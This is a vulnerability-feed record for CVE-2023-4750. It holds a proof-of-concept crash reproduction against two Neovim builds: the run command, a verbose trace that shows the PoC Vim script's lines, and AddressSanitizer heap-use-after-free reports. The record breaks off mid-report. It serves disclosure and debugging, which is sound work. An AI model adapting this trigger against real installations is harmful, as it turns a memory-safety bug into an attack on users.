{"uuid": "c5a77d1e-e994-4bdb-9c39-44799f569f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4750", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/9c26aedbdc7873ec09c6c4d833701a83", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn1\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: unlet! b:keymap_name\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim[9]..function Xautocmd_changelist:\nline    2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal Xautocmd_changelist('')\n\ncalling Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn4\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n=================================================================\n==31981==ERROR: AddressSanitizer: heap-use-after-free on address 0x62700000d020 at pc 0x0000005dffb3 bp 0x7ffc29306be0 sp 0x7ffc29306bd8\nREAD of size 8 at 0x62700000d020 thread T0\n    #0 0x5dffb2 in bt_quickfix /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30\n    #1 0x9987dc in is_qf_win /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3837:7\n    #2 0x99858a in qf_find_buf /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3876:9\n    #3 0x984f91 in qf_update_buffer /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3913:16\n    #4 0x982621 in qf_init_ext /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:1210:5\n    #5 0x98d2af in ex_cexpr /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6970:15\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0xaffe4a in do_ucmd /home/zzw/Desktop/neovim/build/../src/nvim/usercmd.c:1725:9\n    #10 0x754534 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1612:13\n    #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #30 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x62700000d020 is located 10016 bytes inside of 12456-byte region [0x62700000a900,0x62700000d9a8)\nfreed by thread T0 here:\n    #0 0x4e042d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e042d)\n    #1 0x8a07c9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x5dbb0c in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:867:5\n    #3 0x5d9279 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:696:5\n    #4 0x5e9ed1 in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4286:3\n    #5 0x5e9d5d in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4269:5\n    #6 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #7 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n    #8 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n    #9 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n    #10 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n\npreviously allocated by thread T0 here:\n    #0 0x4e0822 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0822)\n    #1 0x8a0803 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n    #2 0x5de2df in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1835:11\n    #3 0x5e9ab4 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4235:19\n    #4 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #5 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n    #6 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n    #7 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n    #8 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #10 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #11 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #12 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #13 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #14 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #15 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #16 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #18 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #19 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #20 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #21 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #25 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #26 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #27 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #28 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30 in bt_quickfix\nShadow bytes around the buggy address:\n  0x0c4e7fff99b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fff9a00: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==31981==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling function Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nError detected while processing function Xautocmd_changelist:\nline    2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nline    3:\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal Xautocmd_changelist('')\n\ncalling function Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn3\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nfinished sourcing CVE-2023-4750_nvim\ncontinuing in command line\nExecuting: :qa!\n=================================================================\n==32095==ERROR: AddressSanitizer: heap-use-after-free on address 0x6270000151e0 at pc 0x000000b23a48 bp 0x7ffce28d9ed0 sp 0x7ffce28d9ec8\nREAD of size 8 at 0x6270000151e0 thread T0\n    #0 0xb23a47 in buf_get_changedtick /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41\n    #1 0xb23a47 in getout /home/zzw/Desktop/neovim/build/../src/nvim/main.c:641:13\n    #2 0x985083 in ex_quit_all /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6683:5\n    #3 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #4 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #5 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #6 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #7 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #8 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #9 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x6270000151e0 is located 224 bytes inside of 12416-byte region [0x627000015100,0x627000018180)\nfreed by thread T0 here:\n    #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n    #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x69fce4 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:785:5\n    #3 0x69c1cb in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:618:5\n    #4 0x6c70fc in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5661:3\n    #5 0x6c6fc0 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5644:5\n    #6 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n    #7 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n    #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #12 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #13 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #14 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #15 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #16 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #17 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #18 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #19 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #20 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #21 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #22 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #23 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #24 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #25 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #26 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n    #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x6a4abc in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1762:11\n    #3 0x6c6c1f in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5610:19\n    #4 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n    #5 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n    #6 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #7 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #11 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #12 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #17 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #18 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #21 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #22 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #23 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #24 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41 in buf_get_changedtick\nShadow bytes around the buggy address:\n  0x0c4e7fffa9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffa9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fffaa30: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n  0x0c4e7fffaa40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     